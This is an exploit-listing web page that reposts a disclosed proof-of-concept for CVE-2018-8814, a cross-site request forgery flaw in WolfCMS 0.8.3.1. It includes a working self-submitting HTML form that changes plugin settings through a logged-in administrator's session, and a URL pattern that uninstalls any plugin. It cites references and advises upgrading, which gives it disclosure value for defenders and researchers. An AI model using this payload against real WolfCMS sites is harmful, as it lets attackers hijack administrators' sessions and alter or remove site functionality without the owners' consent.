Registerwolfcms 0.8.3.1 crosssite request forgery
▸▸▸ Exploit & Vulnerability >> webapps exploit & php vulnerability
Online Vulnerability Scanner Tools
Code...
####################################### # Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery # Google Dork: N/A # Date: 04-04-2018 ####################################### # Exploit Author: Sureshbabu Narvaneni# ####################################### # Author Blog : http://nullnews.in # Vendor Homepage: http://www.wolfcms.org # Software Link: # Affected Version: 0.8.3.1 # Category: WebApps # Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686 # CVE : CVE-2018-8814 # # 1. Vendor Description: # # Light-weight, fast, simple and powerful CMS. PHP-based, easily extended CMS. Uses MySQL, SQLite or (from 0.7) # PostgreSQL for db. Simple drag & drop page hierarchy. Open source, licensed under GPLv3. # # 2. Technical Description: # # Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1 allows remote attackers to hijack the # authentication of users for requests that modify plugin/[pluginname]/settings and can uninstall plugins by sending # malicious request. # # 3. Proof Of Concept: # # Send below request to logged in user to change the plugin settings. # #<html> # <body> # <form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save" method="POST"> # <input type="hidden" name="settings[use_dates]" value="1" /> # <input type="hidden" name="commit" value="Save" /> # <input type="submit" value="Submit request" /> # </form> # <script> # document.forms[0].submit(); # </script> # </body> #</html> # # Share the below URL to uninstall any plugin remotely. # # http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname] # # # 4. Solution: # # Upgrade to latest release. # http://www.wolfcms.org/blog.html # # 5. Reference: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814 # https://github.com/wolfcms/wolfcms/issues/671 #####################################
Wolfcms 0.8.3.1 crosssite request forgery Vulnerability / Exploit Source : Wolfcms 0.8.3.1 crosssite request forgery
Last Vulnerability or Exploits
Easy integrations and simple setup help you start scanning in just some minutes